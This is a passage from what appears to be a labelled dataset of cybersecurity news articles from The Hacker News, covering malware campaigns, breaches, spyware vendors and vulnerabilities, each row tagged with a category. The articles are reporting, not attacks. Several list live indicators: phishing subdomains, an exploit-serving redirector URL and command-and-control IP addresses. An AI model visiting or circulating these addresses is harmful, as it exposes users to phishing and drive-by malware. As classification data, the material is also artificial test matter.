If you are wondering that the attack was being shut down by some security companies, then you are guessing wrong, because the attackers themselves ""closed shop"" during January.

Researchers haven't explained any Malware removal mechanism, but in order to protect your virtual currency, you are advised to encrypt your wallets. Keep your virtual currency wallets safe!

In a separate news, you may also like to read, Worlds Largest Bitcoin Exchange Mt. Gox Shuts Down.

",Malware
Android Play Market 3.9.16 with a Built-In Malware Scanner,https://thehackernews.com/2012/10/android-play-market-3916-with-built-in.html,"AndroidPolice reports that Google is actively working on a built-in malware scanner for the Play Store. A new version of the Play Store app has been released and it is starting to roll out to Android owners. Google Play Store 3.9.16 includes the ability to remove apps from the All Apps list.

There is a module called ""App Check"" that will allow Google to inspect every app you've already downloaded, and a doorman-style app blocker that will warn you if an app is suspicious. Devices without Google Play installed (and there are plenty, especially in Asia and China) still won't be protected.

Google's Bouncer was a server-side Play Store malware cop, but this sounds like a new, client-side initiative, possibly the result of their recent acquisition of VirusTotal. In the past we've seen fake versions of Instagram, Angry Birds and many more popular Android apps distributed via non-official channels with the intention of infecting Android phones and tablets.

Other features of the version 3.9.16 of the Play Store include:
Location tracking in lists: When you select an app from a list and return to the list, your location on the list is retained. No more scrolling you back to the beginning.
New notifications: The new updates notification now gives you more information on which apps have available updates. Instead of simply stating that x amount of updates are available, you will now get the names of some of the apps that have updates available.
In addition, the detailed notifications, the icons for update notifications have also been updated. When an app is updated, gone is the generic updated notification icon. You will now see an actual icon of the app that has been updated.
Google has yet to push the update, but if you want to try it out now, Android Police is offering the APK for download. The APK is signed by Google, which gives us assurance of its authenticity and security.

Subscribe to our Daily News-letter via email - Be First to know about Security and Hackers.

",Malware
New Malware Family Uses Custom UDP Protocol for C&C Communications,https://thehackernews.com/2018/06/cyber-espionage-malware.html,"Security researchers have uncovered a new highly-targeted cyber espionage campaign, which is believed to be associated with a hacking group behind KHRAT backdoor Trojan and has been targeting organizations in South East Asia.

According to researchers from Palo Alto, the hacking group, which they dubbed RANCOR, has been found using two new malware families—PLAINTEE and DDKONG—to target political entities primarily in Singapore and Cambodia.

However, in previous years, threat actors behind KHRAT Trojan were allegedly linked to a Chinese cyber espionage group, known as DragonOK.

While monitoring the C&C infrastructure associated with KHRAT trojan, researchers identified multiple variants of these two malware families, where PLAINTEE appears to be the latest weapon in the group's arsenal that uses a custom UDP protocol to communicate with its remote command-and-control server.

To deliver both PLAINTEE and DDKONG, attackers use spear phishing messages with different infection vectors, including malicious macros inside Microsoft Office Excel file, HTA Loader, and DLL Loader, which includes decoy files.
""These decoys contain details from public news articles focused primarily on political news and events,"" researchers explain. ""Additionally, these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case, Facebook.""

Moreover, PLAINTEE downloads and installs additional plugins from its C&C server using the same custom UDP protocol that transmits data in encoded form.

""These families made use of custom network communication to load and execute various plugins hosted by the attackers,"" researchers say. ""Notably the PLAINTEE malware' use of a custom UDP protocol is rare and worth considering when building heuristics detections for unknown malware.""

On the other hand, DDKONG has been in use by the hacking group since February 2017 and doesn't have any custom communication protocol like PLAINTEE, though it is unclear whether one threat actor or more only use this malware.

According to researchers, the final payload of both malware families suggests that the purpose of both malware is to conduct cyber espionage on their political targets; instead of stealing money from their targets.

Since RANCOR group is primarily targeting non-tech-savvy users, it is always advised to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source.

Moreover, most importantly, make use of behavioral-based antivirus software that can detect and block such malware before it can infect your device, and always keep it and other apps up-to-date.

",Cyber_Attack
Role of free Hosting in Cyber Crime,https://thehackernews.com/2012/03/role-of-free-hosting-in-cyber-crime.html,"Role of free Hosting in Cyber Crime


Zscaler experts notice that free hosting and DNS providers abused for hosting Phishing Pages, Spamming, Botnets or Malwares. Many free hosted sites considered as spam. They list ""x90x.net"" Free hosting Provider which used to host many Facebook Phishing sites. Like Other Blacklisted serviecs ( co.cc, pastehtml.com ) this free hosting can also be blacklisted by Google or Browsers soon.

Few Phishing Pages hosted on x90.net:
faceb000k.x90x.net
jebemtakra-pisdfa-asdasdsds-ddfs.x90x.net
mesnaindustrija-goranovic-m-e-s-n-a.x90x.net
dft3.x90x.net/fbcd.html
d3xt0pcr3w.x90x.net

When you're on a shared server it's important to find out if anyone else on your server has been blacklisted for spamming. Why? Because on a shared server you're IP address and their IP address will be the same, and it does not matter if your domain name is different, you'll still be blacklisted along with every other person on that server.

Not Even this , Due to the reason of free, there is no uptime guarantee. The reliability of the web service really cannot be promised. Spammy websites can only get to use free hosting services, as good hosts won't take up spammers. What this means is that your website is mostly likely sharing server space with spammers. This will reflect badly on your website, your business and may even lead to penalization by search engines.

",Malware
Chinese Hackers Hacked Into U.S. Defense Contractors 20 Times In Just One Year,https://thehackernews.com/2014/09/chinese-hackers-hacked-into-us-defense_18.html,"Chinese hackers associated with the Chinese government have successfully infiltrated the computer systems of U.S. defense contractors working with the government agency responsible for the transportation of military troops and goods across the globe, a Senate investigators have found.

The Senate Armed Services Committee has been investigating the issue for the past year and found that the U.S. Military's Transportation Command (TRANSCOM) has been infiltrated at least 20 times in a single year, out of which only two were detected. This is probably the most serious allegation yet against China.

The successful intrusions attributed to an ""advanced persistent threat,"" a term used to designate sophisticated threats commonly associated with governments. All of those intrusions were attributed to China, the report stated.

The investigation was conducted in the 12 months period from June 2012 to June 2013 based on information provided by the Federal Bureau of Investigations (FBI), Defense Security Services (DoD), Defense Cyber Crime Centre, and the US Air Force and 11 contractors.

The details of allegations on China were made public by the committee on Wednesday in a press release titled, SASC investigation finds Chinese intrusions into key defense contractors. The committee also found dramatic gaps in reporting requirements and a lack of information sharing among U.S. government entities.

This poor coordination between the firms and U.S. agencies left the U.S. military's TRANSCOM virtually in dark about the computer compromises of its contractors that, according to committee, are key to the mobilization and deployment of U.S. military forces.

It further criticized the reporting structure and said the FBI and Department of Defence (DoD) knew about the intrusions but did not tell the Pentagon of nine separate intrusions of TRANSCOM contractors and other agencies within the Department.
""These peacetime intrusions into the networks of key defense contractors are more evidence of China's aggressive actions in cyberspace,"" said Sen. Carl Levin, D-Mich., the committee's chairman. ""Our findings are a warning that we must do much more to protect strategically significant systems from attack and to share information about intrusions when they do occur.""
The committee investigation focused on the U.S. military's ability to tap into civilian air, shipping and other transportation assets to rapidly deployments of U.S. forces in times of crisis.

The committee's top Republican, Jim Inhofe, demanded a ""central clearinghouse"" that makes it easy for critical contractors, particularly small businesses, to report suspicious cyber activity ""without adding a burden to their mission support operations.""

The investigation found intrusions including the compromise of email accounts, documents, user passwords and computer code. Also it found the intrusion by the Chinese military into the networks of Civil Reserve Air Fleet (CRAF) under which contractors lost documents, flight details, credentials and its email encryption key, while systems on a TRANSCOM contractor ship were hacked multiple times.

The committee upgraded its version of the National Defense Authorisation Act for Fiscal Year 2015 to direct the Secretary of Defense to tighten up the reporting gaps and improve the way in which the Department disseminates inform about cyber intrusions into the computer networks of operationally critical contractors.

",Cyber_Attack
Activating mobile malware with Music and Light Sensors,https://thehackernews.com/2013/05/activating-mobile-malware-with-music.html,"Researchers at the University of Alabama at Birmingham (UAB) presented the research that it is possible to trigger malware hidden in mobile devices using music, lighting, or vibration.

In a research paper titled ""Sensing-Enabled Channels for Hard-to-Detect Command and Control of Mobile Devices"", the researchers reported that they triggered malware hidden in mobile devices using music from 17 meters away in a crowded hallway.

Malware once activated would carry out programmed attacks either by itself or as part of a wider botnet of mobile devices. Presenting their findings at a conference earlier this month, the researchers explained how sensors in ubiquitous mobile devices have opened the door to a new generation of mobile malware that unsuspecting users unwittingly downloaded onto their devices.

Since the trigger needs to be relatively close to the smartphone to active any hidden malware, any threats would be limited to the local environment. ""We showed that these sensory channels can be used to send short messages that may eventually be used to trigger a mass-signal attack,""

The researchers found that cameras and microphones were the most effective way to trigger malware, but also noted that a heavy bass pattern could trigger the vibration sensor. They were also successful, at various distances, using music videos; lighting from a television, computer monitor and overhead bulbs; vibrations from a sub woofer; and magnetic fields.

As a possible defense, they suggested that anti-malware software should scan sensor data for signs of any hacks. ""We need to create defenses before these attacks become widespread, so it is better that we find out these techniques first and stay one step ahead,"".

",Malware
Bitcoin Price Drops 20% After $72 Million in Bitcoin Stolen from Bitfinex Exchange,https://thehackernews.com/2016/08/bitcoin-exchange-price.html,"Yet another blow to Bitcoin: One of the world's most popular exchanges of the cryptocurrency has suffered a major hack, leading to a loss of around $72 Million worth of Bitcoins.

Hong Kong-based Bitcoin exchange 'Bitfinex' has posted a note on their website announcing the shutdown of its operation after discovering a security breach that allowed an attacker to steal some user funds.

While the company did not mention a total amount lost in the breach, one of their employees — Bitfinex community director Zane Tackett — confirmed on Reddit that the total amount stolen was 119,756 bitcoins — worth up to $72 Million in cash.

The cause of the security breach and the hacker behind the incident is still unclear, but the attackers appear to have mysteriously bypassed Bitfinex's mandated limits on withdrawals.
""The theft is being reported to — and we are co-operating with — law enforcement,"" Bitfinex statement reads.
""We will look at various options to address customer losses later in the investigation"" and ""ask for the community's patience as we unravel the causes and consequences of this breach.""

Bitcoin Price Drops 20% After the Hack

Bitfinex is the third-largest Bitcoin exchange in the world. After the news of the Bitfinex hack had broken on August 2, the price of Bitcoin dropped almost 20%, from $602.78 to $541 per Bitcoin, within the day after the announcement.

The sudden dropout could be the result of the latest hack that likely made Bitcoin investors sell off their Bitcoin holdings, leading to a rapid decrease in Bitcoin price.

Bitfinex's security firm Bitgo — a Palo Alto-based Bitcoin security company that allows bitcoin exchanges to provide separate, multi-signature wallets for each user's funds — tweeted earlier today, saying it has not found any ""evidence of a breach on any BitGo servers"" during its investigation.

Although it's unclear whether Bitfinex can sustain a loss of that magnitude, the company will address any customer losses following the result of their ongoing investigation.
""As we account for individualized customer losses, we may need to settle open margin positions, associated financing, and/or collateral affected by the breach,"" the company says. ""Any settlements will be at the current market prices as of 18:00 UTC.""

The bottom line:

The best way to secure yourself is to go OFFLINE.

The safest place to store your Bitcoins or any other cryptocurrency is on your own (if possible, offline) wallet; instead on any website or cryptocurrency exchange.

",Cyber_Attack
Your Xbox 360 credit card details Vulnerable to Hack,https://thehackernews.com/2012/03/your-xbox-360-credit-card-details.html,"Your Xbox 360 credit card details Vulnerable to Hack



It has been discovered by researchers at Philadelphia's Drexel University, that credit card data on older Xbox 360 systems that have been traded in or sold on. Hackers can now retrieve personal information from refurbished Xbox consoles, suggesting consumers exercise more caution with their electronic devices.

""Anyone can freely download a lot of this software, essentially pick up a discarded game console, and have someone's identity,"" said researcher Ashley Podhradsky. The team has discovered that even restoring your console to factory settings won't remove some of the data stored on the Xbox 360.

""Xbox is not designed to store credit card data locally on the console, and as such seems unlikely credit card data was recovered by the method described. Additionally, when Microsoft refurbishes used consoles we have processes in place to wipe the local hard drives of any other user data. We can assure Xbox owners we take the privacy and security of their personal data very seriously.""

Well, there's not much you can do if you've already traded it in. However, for those that haven't yet there's something you can do to wipe your drive. Detach the hard drive from the Xbox 360, hook it up to your computer, and use Darik's Boot and Nuke. This program will delete any contents on the drive it can detect. Or you can always complain to Microsoft to create a better factory restore program.

[Source]

",Vulnerability
Report says : US considered cyber war on Libya,https://thehackernews.com/2011/10/report-says-us-considered-cyber-war-on.html,"Report says : US considered cyber war on Libya


Officials in the US Obama administration considered compromising Libya's government computer networks to block early-warning data gathering and missile launches on NATO war planes during the American-led strikes, but decided against it, according to The New York Times.

The report goes on to claim that, while the use of what is believed to be a pre-existing armoury of Trojans, viruses, malware and military hackers was suggested, the cyber-attack was never actually carried out.

The attack would have tried to disrupt Libya's early-warning radar system and thus cripple the North African country's ability to fire back at attacking NATO aircraft.But the Obama administration and the Pentagon chose instead to mount a conventional attack, partly because an American cyberattack might have set a dangerous precedent, and Libya might not have been worth the risk.

In the end, American officials rejected cyberwarfare and used conventional aircraft, cruise missiles and drones to strike the Libyan air-defense missiles and radars used by Col. Muammar el-Qaddafi's government.This previously undisclosed debate among a small circle of advisers demonstrates that cyberoffensives are a growing form of warfare. The question the United States faces is whether and when to cross the threshold into overt cyberattacks.

A senior Defense Department official said: ""They were seriously considered because they could cripple Libya's air defense and lower the risk to pilots, but it just didn't pan out.""
[Source CNET]

",Malware
"It's 3 Billion! Yes, Every Single Yahoo Account Was Hacked In 2013 Data Breach",https://thehackernews.com/2017/10/yahoo-email-hacked.html,"The largest known hack of user data in the history just got tripled in size.

Yahoo, the internet company that's acquired by Verizon this year, now believes the total number of accounts compromised in the August 2013 data breach, which was disclosed in December last year, was not 1 billion—it's 3 Billion.

Yes, the record-breaking Yahoo data breach affected every user on its service at the time.

Late last year, Yahoo revealed the company had suffered a massive data breach in August 2013, which affected 1 billion user accounts.

The 2013 hack exposed user account information, including names, email addresses, telephone numbers, dates of births, hashed passwords (using MD5), and, in some cases, ""encrypted or unencrypted security questions and answers,"" Yahoo said in 2016.

At that time, Yahoo did confirm that hackers did not obtain bank account details or credit card information tied to the Yahoo accounts.

The data breach was attributed to state-sponsored hackers. Since the disclosure of the breach last year, there have been many developments in the incident.

However, the recent announcement by Yahoo makes it clear that if you had an email account on Yahoo, you were part of the infamous data breach.

Oath, the Verizon subsidiary into which Yahoo was merged, made the announcement in a filing with the SEC on Tuesday, which reads:
""Subsequent to Yahoo's acquisition by Verizon, and during integration, the company recently obtained new intelligence and now believes, following an investigation with the assistance of outside forensic experts, that all Yahoo user accounts were affected by the August 2013 theft.""
The statement clearly suggests that if you had an account on Yahoo in 2013, you were affected by the data breach.

So for whatever reason you did not change your password last year after the disclosure of this massive breach, you should now change your passwords immediately and enable two-factor authentication (2FA).

Also, if you are using the same password and answers to security questions somewhere else, change them too.

Deleting Yahoo account may not be a good option to opt for, as Yahoo recycles deleted accounts after 30 days, which would allow anyone to hijack it. So, even if you don't want to use your Yahoo account, just enable 2FA and leave it.

Yahoo has also started notifying the affected account holders, requiring them to change their passwords immediately, and assuring them that the stolen data ""did not include passwords in clear text, payment card data, or bank account information.""

One should note that this breach is separate from the 2014 breach disclosed by Yahoo in September last year, affecting as many as 500 Million user accounts.

Yahoo attributed the 2014 breach to a state-sponsored hacking group. In March 2016, US federal prosecutors charged two Russian intelligence officers and two criminal hackers in connection with the breach.

Recently, credit reporting service Equifax also announced that an additional 2.5 million American consumers were also impacted by the massive breach the company disclosed last month, bringing the total possible victims to 145.5 million from 143 million.

",Data_Breaches
"Israeli Firm Helped Governments Target Journalists, Activists with 0-Days and Spyware",https://thehackernews.com/2021/07/israeli-firm-helped-governments-target.html,"Two of the zero-day Windows flaws rectified by Microsoft as part of its Patch Tuesday update earlier this week were weaponized by an Israel-based company called Candiru in a series of ""precision attacks"" to hack more than 100 journalists, academics, activists, and political dissidents globally.
The spyware vendor was also formally identified as the commercial surveillance company that Google's Threat Analysis Group (TAG) revealed as exploiting multiple zero-day vulnerabilities in Chrome browser to target victims located in Armenia, according to a report published by the University of Toronto's Citizen Lab.
""Candiru's apparent widespread presence, and the use of its surveillance technology against global civil society, is a potent reminder that the mercenary spyware industry contains many players and is prone to widespread abuse,"" Citizen Lab researchers said. ""This case demonstrates, yet again, that in the absence of any international safeguards or strong government export controls, spyware vendors will sell to government clients who will routinely abuse their services.""
Founded in 2014, the private-sector offensive actor (PSOA) — codenamed ""Sourgum"" by Microsoft — is said to be the developer of an espionage toolkit dubbed DevilsTongue that's exclusively sold to governments and is capable of infecting and monitoring a broad range of devices across different platforms, including iPhones, Androids, Macs, PCs, and cloud accounts.
Citizen Lab said it was able to recover a copy of Candiru's Windows spyware after obtaining a hard drive from ""a politically active victim in Western Europe,"" which was then reverse engineered to identify two never-before-seen Windows zero-day exploits for vulnerabilities tracked as CVE-2021-31979 and CVE-2021-33771 that were leveraged to install malware on victim boxes.
The infection chain relied on a mix of browser and Windows exploits, with the former served via single-use URLs sent to targets on messaging applications such as WhatsApp. Microsoft addressed both the privilege escalation flaws, which enable an adversary to escape browser sandboxes and gain kernel code execution, on July 13.
The intrusions culminated in the deployment of DevilsTongue, a modular C/C++-based backdoor equipped with a number of capabilities, including exfiltrating files, exporting messages saved in the encrypted messaging app Signal, and stealing cookies and passwords from Chrome, Internet Explorer, Firefox, Safari, and Opera browsers.
Microsoft's analysis of the digital weapon also found that it could abuse the stolen cookies from logged-in email and social media accounts like Facebook, Twitter, Gmail, Yahoo, Mail.ru, Odnoklassniki, and Vkontakte to collect information, read the victim's messages, retrieve photos, and even send messages on their behalf, thus allowing the threat actor to send malicious links directly from a compromised user's computer.
Separately, the Citizen Lab report also tied the two Google Chrome vulnerabilities disclosed by the search giant on Wednesday — CVE-2021-21166 and CVE-2021-30551 — to the Tel Aviv company, noting overlaps in the websites that were used to distribute the exploits.
Furthermore, 764 domains linked to Candiru's spyware infrastructure were uncovered, with many of the domains masquerading as advocacy organizations such as Amnesty International, the Black Lives Matter movement, as well as media companies, and other civil-society themed entities. Some of the systems under their control were operated from Saudi Arabia, Israel, U.A.E., Hungary, and Indonesia.
Over 100 victims of SOURGUM's malware have been identified to date, with targets located in Palestine, Israel, Iran, Lebanon, Yemen, Spain (Catalonia), United Kingdom, Turkey, Armenia, and Singapore. ""These attacks have largely targeted consumer accounts, indicating Sourgum's customers were pursuing particular individuals,"" Microsoft's General Manager of Digital Security Unit, Cristin Goodwin, said.
The latest report arrives as TAG researchers Maddie Stone and Clement Lecigne noted a surge in attackers using more zero-day exploits in their cyber offensives, in part fueled by more commercial vendors selling access to zero-days than in the early 2010s.
""Private-sector offensive actors are private companies that manufacture and sell cyberweapons in hacking-as-a-service packages, often to government agencies around the world, to hack into their targets' computers, phones, network infrastructure, and other devices,"" Microsoft Threat Intelligence Center (MSTIC) said in a technical rundown.
""With these hacking packages, usually the government agencies choose the targets and run the actual operations themselves. The tools, tactics, and procedures used by these companies only adds to the complexity, scale, and sophistication of attacks,"" MSTIC added.

",Vulnerability
D-Link Accidentally Publishes Its Private Code-Signing Keys on the Internet,https://thehackernews.com/2015/09/hack-router.html,"It's not every time malware creators have to steal or buy a valid code-signing certificate to sign their malware – Sometimes the manufacturers unknowingly provide themselves.

This is what exactly done by a Taiwan-based networking equipment manufacturer D-Link, which accidently published its Private code signing keys inside the company's open source firmware packages.

Dutch news site Tweakers made aware of the issue by one of its readers with online moniker ""bartvbl"" who had bought a D-Link DCS-5020L security camera and downloaded the firmware from D-Link, which open sources its firmware under the GPL license.

However, while inspecting the source code of the firmware, the reader found what seemed to be four different private keys used for code signing.

Hackers Could Sign Malware

After testing, the user managed to successfully create a Windows application, which he was able to sign with one of the four code signing keys belonging to D-Link, which was still valid at the time.

However, the other three private code signing keys he found did not appear to be valid.

Besides those private keys into the source code, the reader also discovered pass-phrases needed to sign the software.

It is still unclear whether these private keys have been used by malicious third-party vendors, but there are possibilities that the keys could have been used by hackers to sign their malware to execute attacks.
The findings were confirmed by Yonathan Klijnsma from Dutch security firm Fox-IT.
""The code signing certificate is indeed a firmware package, firmware version 1.00b03, who's source was released February 27 this year,"" Klijnsma said.
Meanwhile, D-Link has responded to this issue by revoking the certificate in question and releasing a new version of the firmware that does not contain have any code signing keys inside it.

You can also read the full translated version of the story here.

",Malware
Magecart Targets Emergency Services-related Sites via Insecure S3 Buckets,https://thehackernews.com/2020/06/magecart-skimmer-amazon.html,"Hacking groups are continuing to leverage misconfigured AWS S3 data storage buckets to insert malicious code into websites in an attempt to swipe credit card information and carry out malvertising campaigns.

In a new report shared with The Hacker News, cybersecurity firm RiskIQ said it identified three compromised websites belonging to Endeavor Business Media last month that are still hosting JavaScript skimming code — a classic tactic embraced by Magecart, a consortium of different hacker groups who target online shopping cart systems.

The unpatched affected websites host emergency services-related content and chat forums catering to firefighters, police officers, and security professionals, per RiskIQ.

www[.]officer[.]com
www[.]firehouse[.]com
www[.]securityinfowatch[.]com

The cyber firm said it hasn't heard back from Endeavor Business Media despite reaching out to the company to address the issues.

As a consequence, it's working with Swiss non-profit cybersecurity firm Abuse.ch to sinkhole the malicious domains associated with the campaign.

Amazon S3 (short for Simple Storage Service) is a scalable storage infrastructure that offers a reliable means to save and retrieve any amount of data via a web services interface.


These virtual credit card skimmers, also known as formjacking attacks, are typically JavaScript code that Magecart operators stealthily insert into a compromised website, often on payment pages, designed to capture customers' card details in real-time and transmit it to a remote attacker-controlled server.

Last July, RiskIQ uncovered a similar Magecart campaign leveraging misconfigured S3 buckets to inject digital credit card skimmers on 17,000 domains.


In addition to using JavaScript to load the skimmer, RiskIQ said it discovered additional code that it calls ""jqueryapi1oad"" used in connection with a long-running malvertising operation that began in April 2019 and has infected 277 unique hosts to date.

""We first identified the jqueryapi1oad malicious redirector — so named after the cookie we connected with it — in July of 2019,"" the researchers said. ""Our research team determined that the actors behind this malicious code were also exploiting misconfigured S3 buckets.""

The code sets the jqueryapi1oad cookie with an expiration date based on the outcome of a bot check and creates a new DOM element in the page into which it's been injected. Then it proceeds to download additional JavaScript code that, in turn, loads a cookie associated with Keitaro traffic distribution system (TDS) to redirect traffic to scam ads tied to HookAds malvertising campaign.


""The domain futbolred[.]com is a Colombian soccer news site that's in the top 30,000 of global Alexa rankings. It also misconfigured an S3 bucket, leaving it open to jqueryapi1oad,"" the researchers said.

To mitigate these threats, RiskIQ recommends securing S3 buckets with the right level of permissions, in addition to using Access Control Lists (ACLs) and bucket policies to grant access to other AWS accounts or to public requests.

""Misconfigured S3 buckets that allow malicious actors to insert their code into numerous websites is an ongoing issue,"" RiskIQ concluded. ""In today's threat environment, businesses cannot move forward safely without having a digital footprint, an inventory of all digital assets, to ensure they are under the management of your security team and properly configured.""

",Cyber_Attack
"Skype Cross Site Vulnerabilities, user accounts can be Hijacked",https://thehackernews.com/2012/02/skype-cross-site-vulnerabilities-user.html,"Skype Cross Site Vulnerabilities, user accounts can be Hijacked
The independent security researcher Ucha Gobejishvili has detected a cross site scripting (XSS) vulnerabilities affecting shop.skype.com and api.skype.com.

According to a blog post on 1337 Blog, the XSS flaw discovered on these sites could allow an attacker to hijack cookies if he manages to convince the potential victim to click on a specially designed link. If exploited successfully, a hacker could hijack the user's session and even steal his/her account.

Skype has been informed of the vulnerabilities and is currently investigating. Other XSS discovered by him are listed here.

",Vulnerability
Researchers uncovered new malware used by Chinese cyber criminals,https://thehackernews.com/2013/05/researchers-uncovered-new-malware-used.html,"Trend Micro researchers have uncovered a new backdoor pieces of malware from the Winnti family, which are mainly used by a Chinese cyber criminal group to target South East Asian organizations from the video gaming sector.

Winnti malware used by hackers to hijack control of web users systems using a new backdoor contained in the legitimate Aheadlib analysis tool. Dubbed as ""Bkdr_Tengo.A,"" passes itself off as a legitimate system DLL file called winmm.dll. ""We believe that this was done using a legitimate tool called Aheadlib, which is a legitimate analysis tool."" wrote Trend Micro's Eduardo Altares.
""The file is not encrypted and neither was it particularly hard to analyze. Its main behavior is to steal Microsoft Office, .PDF, and .TIFF files from USB drives inserted into the system. These stolen files are stored in the $NtUninstallKB080515$ under the Windows folder. It also creates a log file named Usblog_DXM.log. The files can be retrieved by the attacker at a later time. Aside from retrieving files, it has several backdoor commands which allow the attacker to take control of the system.""

Aheadlib is a legitimate analysis tool that can be used to construct C code from DLL files. The tool is capable of hooking all the functions provided by the initial library. The criminals reportedly used the tool, which is connected to various parts of the network it is analysing, to create a backdoor they can use to bypass the system's security protocols.

""Two of these IP addresses proved to be of particular interest, namely 50.93.204.62 and 98.143.145.118. They are located in the United States, but multiple Chinese-language domains point to them. All of these have been blocked as command-and-control servers,"" he said.

This attack highlights how information theft can be performed even with malware that is not particularly advanced or sophisticated. It also shows some of the challenges in attributing attacks of this nature.

",Cyber_Attack
Downloading Pokémon GO Game for Android? Beware! It Could be Malicious...,https://thehackernews.com/2016/07/download-pokemon-go-android-iphone.html,"""Pokémon Go"" has become the hottest iPhone and Android game to hit the market in forever with enormous popularity and massive social impact. The app has taken the world by storm since its launch this week.

Nintendo's new location-based augmented reality game allows players to catch Pokémon in the real life using their device's camera and is currently only officially available in the United States, New Zealand, UK and Australia.

On an average, users are spending twice the amount of time engaged with the new Pokémon Go app than on apps like Snapchat. In fact Pokémon Go is experiencing massive server overload in just few days of launch.

Due to the huge interest surrounding Pokémon Go, many gaming and tutorial websites have offered tutorials recommending users to download the APK from a non-Google Play link.

In order to download the APK, users are required to ""side-load"" the malicious app by modifying their Android core security settings, allowing their device's OS to install apps from ""untrusted sources.""

Pokémon Go is Installing DroidJack Malware

Security researchers have warned users that many of these online tutorials are linked to malicious versions of the Pokémon Go app that install a backdoor on Android phones, enabling hackers to compromise a user's device completely.

Security firm Proofpoint has discovered the malicious app, or APK, that has been infected with DroidJack – a Remote Access Tool (RAT) that can hack any Android device by opening a silent backdoor for hackers.

Just less than 3 days after Nintendo initially released the game in Australia and New Zealand on July 4, the malicious app was uploaded to an online malware detection repository.

Since Android core security settings normally prevent the installation of untrusted third-party apps from ""unknown sources,"" side-loading should have never been done by a user.

""This is an extremely risky practice and can easily lead users to install malicious apps on their own mobile devices,"" researchers at Proofpoint wrote in a blog post. ""Should an individual download an APK [Android application package] from a third-party that has been infected with a backdoor, like the one we discovered, their device would then be compromised.""

Here's How to Prevent Yourself

Fortunately, there are several ways to check if you have downloaded the malicious version of the Pokémon Go app.

The infected version of the Pokémon Go app would have been granted more system permissions, so one way to differ between the two is to compare the permissions of your app to those of the legitimate one.

To do so, Go to the Settings → Apps → Pokemon GO and check the game's permissions.

If you find that the game has asked for permissions like directly call phone numbers, edit and read your SMSes, record audio, read Web history, modify and read your contacts, read and write call logs, and change network connectivity, then you should uninstall the game right away, since it is infected with DroidJack.

You can also compare the game's SHA-1 hash – a long string of characters used to verify if a file was infected with or modified by a malicious third-party – to make sure the game matches the hash of the legitimate version.

The Bottom Line:

Instead of downloading available applications from unknown third party stores, wait for the Pokémon Go app to launch in your country.

However, downloading apps from third parties do not always end up with malware or viruses, but it certainly ups the risk. So, it's the best way to wait in order to avoid compromising your device and the networks it accesses.

",Malware
Fortnite Flaws Allowed Hackers to Takeover Gamers' Accounts,https://thehackernews.com/2019/01/fortnite-account-hacked.html,"Check Point researchers have discovered multiple security vulnerabilities in Fortnite, a massively popular online battle game, one of which could have allowed remote attackers to completely takeover player accounts just by tricking users into clicking an unsuspectable link.

The reported Fortnite flaws include a SQL injection, cross-site scripting (XSS) bug, a web application firewall bypass issue, and most importantly an OAuth account takeover vulnerability.

Full account takeover could be a nightmare, especially for players of such a hugely popular online game that has been played by 80 million users worldwide, and when a good Fortnite account has been sold on eBay for over $50,000.

The Fortnite game lets its players log in to their accounts using third-party Single Sign-On (SSO) providers, such as Facebook, Google, Xbox, and PlayStation accounts.

According to the researchers, the combination of cross-site scripting (XSS) flaw and a malicious redirect issue on the Epic Games' subdomains allowed attackers to steal users' authentication token just by tricking them into clicking a specially crafted web link.

Once compromised, an attacker can then access players' personal information, buy in-game virtual currencies, and purchase game equipment that would then be transferred to a separate account controlled by the attacker and resold.
""Users could well see huge purchases of in-game currency made on their credit cards with the attacker funneling that virtual currency to be sold for cash in the real world,"" Check Point researchers explain in their blog post published today.

""After all, as mentioned above we have already seen similar scams operating on the back of Fortnite popularity.""

The attacker even could have access to all the victim's in-game contacts and conversations held by the player and his friends during the game, which can then be abused to exploit the account owner's privacy.

One of the Epic Games' contained a SQL injection vulnerability, which if exploited, could have allowed attackers to identify which version of MySQL database was being used.
Besides this, the researchers were also able to bypass the poorly-configured web application firewall system used by the Fortnite infrastructure to successfully execute the cross-site scripting attack against the user login process.

Check Point researchers notified Epic Games' developer of the Fortnite vulnerabilities which the company fixed in mid-December.

Both Check Point and Epic Games recommend all Fortnite users to remain vigilant while exchanging any information digitally and to question the legitimacy of links to information available on the User Forum and other Fortnite websites.

To protect their accounts from being hijacked, players are also advised to enable two-factor authentication (2FA) which prompts users to enter a security code sent to their email upon logging into the Fortnite game.
",Vulnerability
Virus removal website compromised to serving malware,https://thehackernews.com/2011/09/virus-removal-website-compromised-to.html,"Virus removal website compromised to serving malware

One of the Famous Virus Removal Service website : laptopvirusrepair.co.uk is compromised and Hacker is Serving Malware on the website. In above screenshot Avira detects the JS/Blacole.psak Java script Virus hosted on the site.

The snippet of code is located at the bottom of the index page:
It is an obfuscated iframe that redirects to a site that will deliver exploits: zdesestvareznezahodi.com/tds/go.php?sid=1 . This Site is listed in malwareblacklist. Detected Virus is : Kaspersky: Trojan-Downloader.JS.Agent.geo and

Effected Platforms / OS:
• Windows 95
• Windows 98
• Windows 98 SE
• Windows NT
• Windows ME
• Windows 2000
• Windows XP
• Windows 2003
• Windows Vista
• Windows Server 2008
• Windows 7

Side effects of JS/Blacole.psak Java script Virus:
• Can be used to execute malicious code
• Drive-by download

",Vulnerability
Pre-Installed Software Flaw Exposes Most Dell Computers to Remote Hacking,https://thehackernews.com/2019/05/dell-computer-hacking.html,"If you use a Dell computer, then beware — hackers could compromise your system remotely.

Bill Demirkapi, a 17-year-old independent security researcher, has discovered a critical remote code execution vulnerability in the Dell SupportAssist utility that comes pre-installed on most Dell computers.

Dell SupportAssist, formerly known as Dell System Detect, checks the health of your computer system's hardware and software.

The utility has been designed to interact with the Dell Support website and automatically detect Service Tag or Express Service Code of your Dell product, scan the existing device drivers and install missing or available driver updates, as well as perform hardware diagnostic tests.

If you are wondering how it works, Dell SupportAssist in the background runs a web server locally on the user system, either on port 8884, 8883, 8886, or port 8885, and accepts various commands as URL parameters to perform some-predefined tasks on the computer, like collecting detailed system information or downloading a software from remote server and install it on the system.

Though the local web service has been protected using the ""Access-Control-Allow-Origin"" response header and has some validations that restrict it to accept commands only from the ""dell.com"" website or its subdomains, Demirkapi explained ways to bypass these protections in a blog post published Wednesday.
As shown in the video, Demirkapi demonstrated [PoC code] how remote hackers could have easily downloaded and installed malware from a remote server on affected Dell computers to take full control over them.

""An unauthenticated attacker, sharing the network access layer with the vulnerable system, can compromise the vulnerable system by tricking a victim user into downloading and executing arbitrary executables via SupportAssist client from attacker hosted sites,"" Multinational computer technology company Dell said in an advisory.

